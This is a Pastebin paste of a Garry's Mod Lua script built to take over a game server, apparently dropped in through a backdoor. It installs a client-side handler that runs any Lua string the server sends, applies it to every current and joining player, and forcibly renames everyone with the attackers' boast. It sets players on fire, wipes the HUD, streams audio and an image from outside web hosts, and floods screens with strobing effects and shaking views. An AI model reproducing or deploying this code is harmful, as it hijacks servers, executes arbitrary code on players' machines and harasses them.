API tools faq
paste
Advertisement
Guest User

Untitled

a guest
Mar 23rd, 2019
75
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.52 KB | None | 0 0
raw download clone embed print report
  1. util.AddNetworkString "slua2"
  2.  
  3. local DESIRED_NAME = "This Server Was Captured By Kazuma Yukiochi and Masterniix"
  4. local lol = {}
  5. function lol:RandomString( intMin, intMax )
  6. local ret = ""
  7. for _ = 1, math.random( intMin, intMax ) do
  8. ret = ret.. string.char( math.random(65, 90) )
  9. end
  10.  
  11. return ret
  12. end
  13.  
  14.  
  15.  
  16. lol.m_tblActions = {}
  17. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  18. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  19.  
  20. function lol:PushAction( intChainDelay, func )
  21. self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  22. end
  23.  
  24. function lol:NextAction( pPlayer )
  25. pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  26. if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  27.  
  28. timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  29. if not IsValid( pPlayer ) then return end
  30. self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  31. self:NextAction( pPlayer )
  32. end )
  33. end
  34.  
  35. function lol:Start( pPlayer )
  36. pPlayer.m_intCurAction = 0
  37. self:NextAction( pPlayer )
  38. end
  39.  
  40. function lol:SendLua( pPlayer, strLua )
  41. net.Start( "slua2" )
  42. net.WriteString( strLua )
  43. net.Send( pPlayer )
  44. end
  45.  
  46. function lol:SetupPlayer( pPlayer )
  47. pPlayer:SendLua( "net.Receive(\"slua2\", function() RunString(net.ReadString()) end)" )
  48. end
  49.  
  50.  
  51. -------START CODE FORT BAN/UNBAN/ETC...
  52.  
  53. ----------STOP LINE CODE FORT BAN/UNBAN/ETC...
  54.  
  55. -----START LINE CODE FOR DANSE
  56. for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end timer.Create("dance_loop",8.9,0,function() for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end end )
  57. -----STOP LINE CODE FOR DANSE
  58.  
  59. ------- STARTCODE FOR FORCE CHANGE NAME
  60. for k, v in pairs(player.GetAll()) do DarkRP.storeRPName(v, DESIRED_NAME) v:setDarkRPVar("rpname", DESIRED_NAME) end
  61. ------- STOP LINE CODE FOR CHANGE NAME
  62.  
  63. --------- GIANT
  64. hook.Add("Think", "giant", function()
  65. for k,v in pairs (player.GetAll()) do
  66. v:SetModelScale(50.5, 100);
  67. v:SetRunSpeed(400 * 2);
  68. v:SetWalkSpeed(200 * 2);
  69. end
  70. end)
  71. ------------------
  72.  
  73. for k,v in pairs(player.GetAll()) do
  74. v:ConCommand("say armageddon")
  75. end
  76.  
  77. for k,v in pairs(player.GetAll()) do
  78. v:ConCommand("say giant")
  79. end
  80.  
  81. for k, v in pairs( player.GetAll() ) do
  82. lol:SetupPlayer( v )
  83. timer.Simple( 2, function() lol:Start( v ) end )
  84. end
  85.  
  86. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  87. lol:SetupPlayer( pPlayer )
  88. timer.Simple( 10, function() lol:Start( pPlayer ) end )
  89. end )
  90.  
  91. hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
  92. if strText:sub( 1, 5 ) == "/1337" then
  93. pSender:Ignite( 1e9 )
  94. pSender:ChatPrint( "fuck this job i quit" )
  95. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  96. return false
  97. end
  98. end )
  99.  
  100. hook.Add( "PlayerSay", "what", function( pSender, strText, bTeamChat )
  101. if strText:sub( 1, 5 ) == "what" then
  102. pSender:Ignite( 1e9 )
  103. pSender:ChatPrint( "Que demande un douanier à un cochon qui passe la frontière ? Son passe-porc ! lol xd mdr lol xptdr... vref brule connard" )
  104. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  105. return false
  106. end
  107. end)
  108.  
  109. --Sequence stack
  110. --Start some tunes and steam in our assets
  111. lol:PushAction( 0, function( pPlayer )
  112. lol:SendLua( pPlayer, ([=[
  113. sound.PlayURL( "https://kazuki20.000webhostapp.com/karamix.mp3", "", function()end )
  114.  
  115. g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
  116. local html = [[%s]]
  117. local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  118. local pnl = vgui.Create( "HTML" )
  119. pnl:SetPos( ScrW() -1, ScrH() -1 )
  120. pnl:SetVisible( true )
  121. pnl:SetMouseInputEnabled( false )
  122. pnl:SetKeyBoardInputEnabled( false )
  123. pnl:SetSize( intSizeX, intSizeY )
  124. pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  125.  
  126. local PageLoaded
  127. PageLoaded = function()
  128. local mat = pnl:GetHTMLMaterial()
  129. if mat then
  130. g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  131. return
  132. end
  133.  
  134. timer.Simple( 0.5, PageLoaded )
  135. end
  136.  
  137. PageLoaded()
  138. end
  139.  
  140. LoadWebMaterial( "https://image.noelshack.com/fichiers/2019/12/6/1553370073-ed216d49c139926e7d5c71c32ebe02cf.gif", "getrekt", 1920, 1080 )
  141. ]=]):format(lol.m_strImageLoadHTML) )
  142. end )
  143.  
  144. --HUD swap
  145. lol:PushAction( 31, function( pPlayer )
  146. lol:SendLua( pPlayer, [[
  147. (GAMEMODE or GM).CalcView = function() end
  148. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  149.  
  150. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  151. for k, v in pairs(remove) do
  152. hook.GetTable()[v] = {}
  153. end
  154.  
  155. local function GetWebMat( strURL )
  156. return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
  157. end
  158.  
  159. hook.Add( "HUDPaint", "newhud", function()
  160. surface.SetDrawColor( 255, 255, 255, 255 )
  161.  
  162.  
  163. if GetWebMat( "getrekt" ) then
  164. surface.SetMaterial( GetWebMat("getrekt")[1] )
  165. surface.DrawTexturedRect( 0, 0, 2100, 2000 )
  166. end
  167.  
  168. draw.SimpleTextOutlined(
  169. "This Cancer Mode is eliminated",
  170. "DermaLarge",
  171. ScrW() /2 +math.random( -8, 8 ),
  172. ScrH() /2 +math.random( -8, 8 ) +64,
  173. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  174. TEXT_ALIGN_CENTER,
  175. TEXT_ALIGN_CENTER,
  176. 1,
  177. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  178. )
  179.  
  180. draw.SimpleTextOutlined(
  181. "Forever",
  182. "DermaDefaultBold",
  183. ScrW() /2 +math.random( -2, 2 ),
  184. ScrH() /2 +math.random( -2, 2 ) +100,
  185. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  186. TEXT_ALIGN_CENTER,
  187. TEXT_ALIGN_CENTER,
  188. 1,
  189. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  190. )
  191. end )
  192.  
  193. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  194. hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
  195.  
  196. surface.PlaySound( "garrysmod/save_load4.wav" )
  197. surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
  198. ]] )
  199. end )
  200.  
  201.  
  202. --Disco time
  203. lol:PushAction( 10, function( pPlayer )
  204. local idx = pPlayer:EntIndex()
  205. timer.Create( "beat".. idx, 0.42, 0, function()
  206. if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
  207. pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
  208. end )
  209.  
  210.  
  211. lol:SendLua( pPlayer, [[
  212. local emitter = ParticleEmitter( LocalPlayer():GetPos() )
  213. local time = 0
  214.  
  215. hook.Add( "Think", "wat", function()
  216. if CurTime() < time then
  217. return
  218. end
  219.  
  220. time = CurTime() +0.05
  221. for i = 1, 16 do
  222. local part = emitter:Add(
  223. "particles/balloon_bit",
  224. LocalPlayer():GetPos() +Vector(
  225. math.random( -256, 256 ),
  226. math.random( -256, 256 ),
  227. 256
  228. )
  229. )
  230.  
  231. if part then
  232. local Size = math.random( 4, 7 )
  233.  
  234. part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
  235. part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
  236. part:SetDieTime( 4.5 )
  237. part:SetGravity( Vector(40, 0, -250) )
  238. part:SetLifeTime( 0 )
  239. part:SetStartSize( Size /2 )
  240. part:SetEndSize( Size )
  241. part:SetCollide( true )
  242. end
  243. end
  244. end )
  245. ]] )
  246.  
  247. lol:SendLua( pPlayer, [[
  248. hook.Add( "RenderScreenspaceEffects", "wat", function()
  249. local sinScaler = math.sin( CurTime() )
  250. DrawBloom(
  251. 0,
  252. 3,
  253. sinScaler *math.Rand(1, 8),
  254. sinScaler *math.Rand(1, 8),
  255. 6,
  256. math.Rand(0.5, 2),
  257. math.Rand(0, 0.3),
  258. math.Rand(0, 0.3),
  259. math.Rand(0.5, 1)
  260. )
  261.  
  262. DrawColorModify{
  263. ["$pp_colour_addr"] = 5,
  264. ["$pp_colour_addg"] = 1,
  265. ["$pp_colour_addb"] = 1,
  266. ["$pp_colour_brightness" ] = 0,
  267. ["$pp_colour_contrast" ] = 1,
  268. ["$pp_colour_colour" ] = 1,
  269. ["$pp_colour_mulr" ] = 1,
  270. ["$pp_colour_mulg" ] = 0,
  271. ["$pp_colour_mulb" ] = 0
  272. }
  273. end )
  274.  
  275. local mdl = ClientsideModel( "models/player/skeleton.mdl", RENDERGROUP_BOTH )
  276. mdl:SetNoDraw( true )
  277. local posCache, time = {}, 0
  278.  
  279. hook.Add( "HUDPaint", "dance", function()
  280. if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
  281. local idx = mdl:LookupSequence("taunt_dance")
  282. mdl.SeqDuration = mdl:SequenceDuration( idx )
  283. mdl.SeqStart = CurTime()
  284. mdl:ResetSequence( idx )
  285. end
  286.  
  287. mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )
  288.  
  289.  
  290. local w, h = 300, 300
  291. local ang = Angle( 0, 0, 0 )
  292.  
  293. for i = 1, 32 do
  294. if CurTime() > time then
  295. posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
  296. end
  297. local x, y = posCache[i][1], posCache[i][2]
  298.  
  299. cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
  300. cam.IgnoreZ( true )
  301. render.SuppressEngineLighting( true )
  302.  
  303. render.SetLightingOrigin( mdl:GetPos() )
  304. render.ResetModelLighting( 1, 1, 1 )
  305. render.SetColorModulation( 0, 0, 1 )
  306.  
  307. mdl:DrawModel()
  308.  
  309. render.SuppressEngineLighting( false )
  310. cam.IgnoreZ( false )
  311. cam.End3D()
  312. end
  313.  
  314. if CurTime() > time then
  315. time = CurTime() +0.15
  316. end
  317. end )
  318.  
  319. surface.PlaySound( "vo/npc/male01/ohno.wav" )
  320. ]] )
  321. end )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!